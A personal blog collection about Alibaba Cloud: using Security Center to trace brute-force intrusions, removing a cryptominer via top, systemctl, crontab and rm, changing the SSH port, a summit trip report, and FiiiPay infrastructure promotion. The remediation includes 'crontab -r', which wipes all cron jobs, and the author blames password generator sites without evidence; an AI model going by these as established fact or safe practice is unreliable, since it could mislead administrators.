How To Secure Your Alibaba Cloud ECS Instances?

Today I would like to share with you about how to secure your Alibaba Cloud ECS instances. Recently, I had been going through a lot about security issues with my servers, hence writing this blog to keep a record of what security measurement that I had done.

If you are an Alibaba Cloud user, have you ever seen or use the feature of Security Center that you may find in the cloud dashboard? It is free to use, and not sure if you have received any email notification about the security threat or risk about your server that need action? The email subject usually are "Threat Detection Service Unhandled Vulnerabilities Weekly Report" or "Threat Detection Service Security Events Notification".

If you have received any of the email notification related to Threat Detection, I would advice you to login to your Alibaba Cloud Console and go to the Security Center to check out what had happened to your server.

Security Center basic edition is free to use but with limited feature. If your budget allow and host business critical public facing servers, I strongly recommend subscribe the protection service. You save the hassles from monitoring and attack prevention.

Notice the Urgent Vulnerabilities suggestion on top of the dashboard? You can simply click it to enter the detail page, and then scan all your servers to check if any of them prone to any of the suggested vulnerabilities.

After done the vulnerabilities scanning, go to the Alert section to check out what had happened to your servers. You may find the list of all the threat detection on your servers here.

If you had read my previous post about my servers were attacked and injected with crypto mining scripts call Donald and Trump, then now you can see all the attack trails are showing in the Security Center. If you encountered the similar problem with crypto mining software injection, you may want to checkout my previous post to learn how to remove them HERE.

The cron job details also had been tracked successfully.

You also can further trace who actually logged in to your server and injected the script. From there, it tells the crypto mining scripts were not simply injected out from no where. Someone actually obtained the correct password to access my server. The details reveal the IP and location of the attacker.

I have another server being attacked by ransomware. The server crypto wallet and SQL Server database had been encrypted. Luckily it was just a test server, there is no impact to me.

From the Security Center, I can see that the server was being accessed through normal RDP.

We also can see how and what the attacker done to my server, first he download a ransomware script from some website and then execute some powershell command to perform the encryption.

In summary, whatever the hacker had done to the server cannot be undone. I do not blame the hacker, I blame myself for being careless. Also, the root cause investigation had been narrowed down to password access to the server to inject script and ransomware. Therefore, I suspect the strong password generator website that I usually use actually keep a copy of generated password in their database.

https://strongpasswordgenerator.com/
https://passwordsgenerator.net/

I strongly suggest anyone of you stop using the online random password generator. Prevention is very important. Lesson learned and I shall further strengthen the servers security and redesign my network architecture. In my new network architecture design, all the servers are locked down. In order to RDP or SSH access to the servers, I must connect to a proxy server first in order to access other servers. With this setup, proxy server become the only target to be attacked. Therefore, I only need to manage and monitor only one server.

Also, pay attention closely to the email alert sent by the Alibaba Cloud Security Center. When illegal logon activity happen, we need to take action immediately to investigate.

I also recommend you to subscribe the Security Center at least Advanced package. You may check out the package difference here. You can also click at this LINK to get a discount for the subscription.

How to Remove Donald Trump Virus/Script from Linux?

Today have been a bad day, at 3AM in the morning, received an email alert from Alibaba Cloud indicating successful brute force attacks to a few of my ECS servers. It was my mistake for not changing the server SSH default port, given the chance to the hacker to brute force attack my server access.

I discover what the hacker did to my ECS server is creating a cron job that constantly compile and generate 2 executable scripts call Donald and Trump. The scripts spike my server CPU to 100% and affecting my other application process being slow in performance.

How do I find the root if you ask me? Just run the top command and then press C, you will see the Donald script is running and eating the 100% CPU and also its source location. However, I spotted there is an unknown suspicious process actively running as well.

By deleting Donald and Trump executable scripts will not solve the problem. I discover that there is a cron job running to automatically compile and create both Donald and Trump scripts after a while.

So, I run the systemctl status command in order to further trace which and where actually started the process.

systemctl status <PID>

As you can see from the above screenshot, the culprits are:
/tmp/Donald
/usr/bin/ujwofa5

Also note that there is a cron job actually execute ujwofa5. Therefore, we need to remove all the executable scripts and cron job as well.

In order to trace the cron job, just run crontab -l command
For deleting the cron job, run crontab -r command
You may want to stop the cron job if you dont need it at all, just run service crond stop

Now, remove the Donald script and ujwofa5 by executing rm command. Then, kill both processes.

Now, you need to reboot the server in order to permanently remove the script to take effect. After server get back online, you can run top command again to monitor and see if the Donald or Trump script appear again. If everything goes normally, then the problem is considered solved.

It was lucky that Alibaba Cloud sent me email notification about suspicious login to my server actually triggered me to check what's wrong. Lesson learned that I should not being lazy even the server is not important, I should change the SSH default port.

For your knowledge how to change SSH default port, just login to the server again. Open up the SSH config file by executing command vi /etc/ssh/sshd_config

Modify the file by removing the # comment at the Port 22 row, then change the value 22 to your desire port number. Once done, save the file and then restart the SSH service by executing service sshd restart

Now, the server is resume back to normal. Let me know if this helpful, and note that the cron job script name is random and different from each server. You cannot assume your cron job script name is ujwofa5.

Alibaba Cloud MVP Global Summit

On the 24-27th of September, Alibaba Cloud MVP Global Summit and Apsara Conference was held at Hangzhou, it was an honor to be invited to participate in this event. On the first day itself, once I touch down the Hangzhou Xiaoshan Airport, I find there are free shuttle buses available to bring you from airport to hotels and conference venue.

The MVP Global Summit was held at The Cloud Town on the 24th September. It is a gathering for the domestic and international MVPs to get to know each other, and there are also sharing of Alibaba Cloud new company direction, new product milestone, and the experience of Alibaba Cloud product application.

During the event, I had made the acquaintance of the MVPs from China, Singapore, Japan, Spain and Netherlands. Since every MVP has his own area of expertise, it is interesting when everyone share their story, problem and insights about technology.

Also, I got a surprise during the event for receiving a most active MVP award. Thanks Alibaba Cloud for the recognition.

I personally find this event is a good opportunity to make new friends and broaden up our network. MVP Global Summit is a rare event that filled with technical experts from around the world come reunion together at one place, given the opportunity to meet with the person usually dealt from online to offline. Hope that next year we will be able to meet with each other again.

What Makes FiiiPay A Fast & Reliable Crypto Wallet in Asia?

FiiiPay had been launched ever since June, 2018. We had gone through a lot of obstacles from the beginning of the launch until today. In this article, I would like to share all my past experience about our FiiiPay system.

In August 2018, we organized security hackathon in Malaysia to invite hackers to attempt to hack or break into our API system, some even try to hijack the FiiiPOS terminal software, but all attempts were failed. The hackers managed to find minor bugs related to UI defects only.

Later in September 2018, we encountered hackers attack our API to create user account using fake mobile number in order to gain our FiiiCoin for free through the friend referral marketing campaign. However, we managed to stop it by applying stricter rules in order to earn the freebie. We were experiencing sudden surge of system load due to the script attack, and we addressed the issue by applying firewall rule base on the attack pattern.

During December 2018, our user base grew to 340,000 and 22,000 POS terminal online at the same time for FiiiCoin mining, active online users exceed 30,000 daily, server unable to cope the load. We decided to increase our server capacity and apply load balancing strategy.

Have you ever wonder what make us so efficient and change so fast to adapt to the situation? Thanks to Alibaba Cloud. If you are building a similar e-wallet application, you may consider take my solution as reference.

I am sure you are curious why Alibaba Cloud? Why not AWS? Why not Windows Azure? I had done a lot survey and testing, firstly my discovery is Alibaba Cloud Asia network performance is better compare to other cloud service provider, and in term of pricing, it is affordable. The consideration is depend on where is your business and where are your users location. My business focus on Asia market, hence Hong Kong is a strategic location where it is the center point of all Asia countries. Hong Kong is my best choice of data center location.

If you ask me why cloud? Why not on premise servers?

I would say my main consideration is costing. As a startup company, we need to survive by controlling the budget tightly, spend on things which are necessary only. On premise servers require high maintenance effort such as hiring DevOps or System Engineer to perform high availability, redundancy, regular backup, and disaster recovery. Furthermore, the local internet service provider provide limited network bandwidth and the charging fee is expensive. Therefore, Elastic Compute Service (ECS) by Alibaba Cloud provide the flexibility and solution that fit my requirement.

ECS allowed me to change the server specification anytime I want and quickly. While my system is suffering high load, and I need to temporary increase the server capacity including the network bandwidth, I can easily configure it through the Console.

Every software company practice System Integration Test (SIT) and User Acceptance Test (UAT), I find that ECS Pay-As-You-Go billing method gave me the flexibility to pay only when require. Most of the time, test servers are not in used unless test tasks being carried out. Hence, these test servers can be shutdown. Shut downed servers are not being charged except the used storage. It helped me save cost.

As an e-wallet solution provider, robust system and high availability are utmost important, we cannot afford down time as it will impact customer experience and affect the confidence level towards our product.

Database is a the heart of the entire system, it cannot be down not even a second. I like about ApsaraDB for RDS product. It enable me to provision a database in just a few minutes time. It gives me peace of mind in all the routine work such as differential backup, full backup, redundancy, replication and fail-over by just a few button click. Even the connection architecture is setup following the best practice.

Next is to provision the Server Load Balancer (SLB) for load distribution to different servers to support high concurrency. When single API server is unable to cope the concurrent requests, then you can opt for adding extra ECS instance to the share the load by having both ECS instances assigned into a Server Group of a SLB. The request will be distributed to the instances automatically.

Lastly, all the cloud services can be monitored. We can easily configure alarm rule to monitor ECS instances or RDS databases. If there is high CPU or RAM usage or the disk storage is running low, you will receive an alert in email form or notification in DingTalk.

In conclusion, by just relying on Alibaba Cloud service, you can run a full fledged IT operation for server, database and network with affordable price and enterprise level service. FiiiPay have been using Alibaba Cloud service for more than one year and never face any down time before and satisfied with the service.